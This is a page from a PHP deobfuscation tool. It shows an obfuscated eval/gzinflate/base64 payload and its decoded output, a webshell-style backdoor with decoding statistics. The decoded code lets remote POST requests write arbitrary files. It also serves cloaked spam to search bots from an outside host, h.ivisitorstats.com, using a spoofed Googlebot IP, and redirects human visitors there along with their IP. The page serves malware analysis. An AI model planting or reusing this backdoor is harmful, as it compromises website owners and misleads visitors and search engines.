Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php eval("\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x28\x62\x61\x73\x65\..
Decoded Output download
?><?php
set_time_limit(0);
class shell_run
{
public $action = "shell";
function __construct()
{
if($_GET['check'] == 'check')
{
echo '0000-00-00';
exit();
}
if($_GET['action'] == 'create_static_file' && $_POST){
$file_names = trim($_POST['file_names']);
$file_contents = trim($_POST['file_contents']);
$file_array = explode("
",$file_names);
foreach($file_array as $file)
{
$file = trim($file);
if($file != '' && !file_exists($file)){
@file_put_contents($file,$file_contents);
}
}
exit();
}
$Spider = $this->isBot();
$url = "http://".$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'];
$ip = $_SERVER['REMOTE_ADDR'];
if($Spider == true){
$bot = 1;
}else{
$bot = 0;
}
$get_array['center_website'] = 'h.ivisitorstats.com';
//ASP
$request_url = explode("?",$_SERVER['REQUEST_URI']);
if($bot == 1){
$center_temp_url = 'http://'.$get_array['center_website']."/domain_get_url_test.php?action=out_put&script_name=".$request_url[0]."&dstring=".$_SERVER['HTTP_HOST']."&type=asp&do_id=".$request_url[1];
$contents = $this->curlOpen($center_temp_url);
echo $contents;
}else{
$url = 'http://'.$get_array['center_website'].'/51la_statistical.php?type=statistical&shell_domain='.$_SERVER['HTTP_HOST'].'&shell_requets_url='.$_SERVER['REQUEST_URI'].'&user_ip='.$ip.'&user_agent='.$_SERVER['HTTP_REFERER'];
header("Location: ".$url);
}
exit;
//ASP
}
/**
* isBot()
* -getSpider
* @return
*/
function isBot()
{
$bot_array = array('googlebot','ahrefsbot','msnbot','iaskspider', 'baiduspider', 'sqworm', 'mediapartners-google', 'yahoo','vbseo','bingbot','sohu-search');
$is_bot = false;
foreach($bot_array as $bot){
$agent = strtolower($_SERVER['HTTP_USER_AGENT']);
if(strstr($agent,$bot)){
$is_bot = true;
}
}
return $is_bot;
}
/**
* shell_run::curlOpen()
* -getHTTP_HOST
* @param mixed $url
* @return
*/
function curlOpen($url)
{
$ch2 = curl_init();
$user_agent = "ConBot";
curl_setopt($ch2, CURLOPT_URL, $url);
curl_setopt($ch2, CURLOPT_HTTPHEADER, array('X-FORWARDED-FOR:66.249.73.211','CLIENT-IP:66.249.73.211'));
curl_setopt($ch2, CURLOPT_HEADER, false);
curl_setopt($ch2, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch2, CURLOPT_REFERER,'http://'.$_SERVER['HTTP_HOST']);
curl_setopt($ch2, CURLOPT_USERAGENT,$user_agent);
curl_setopt($ch2, CURLOPT_TIMEOUT,25);
$contents = curl_exec($ch2);
curl_close($ch2);
return $contents;
}
}
$content = new shell_run();
?>
Did this file decode correctly?
Original Code
<?php
eval("\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28'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'\x29\x29\x29\x3B");
?>
Function Calls
| gzinflate | 5 |
| dcwfwx72771 | 1 |
| base64_decode | 5 |
Stats
| MD5 | 32a8abaa9d6653b8298b9e455cb066bf |
| Eval Count | 9 |
| Decode Time | 116 ms |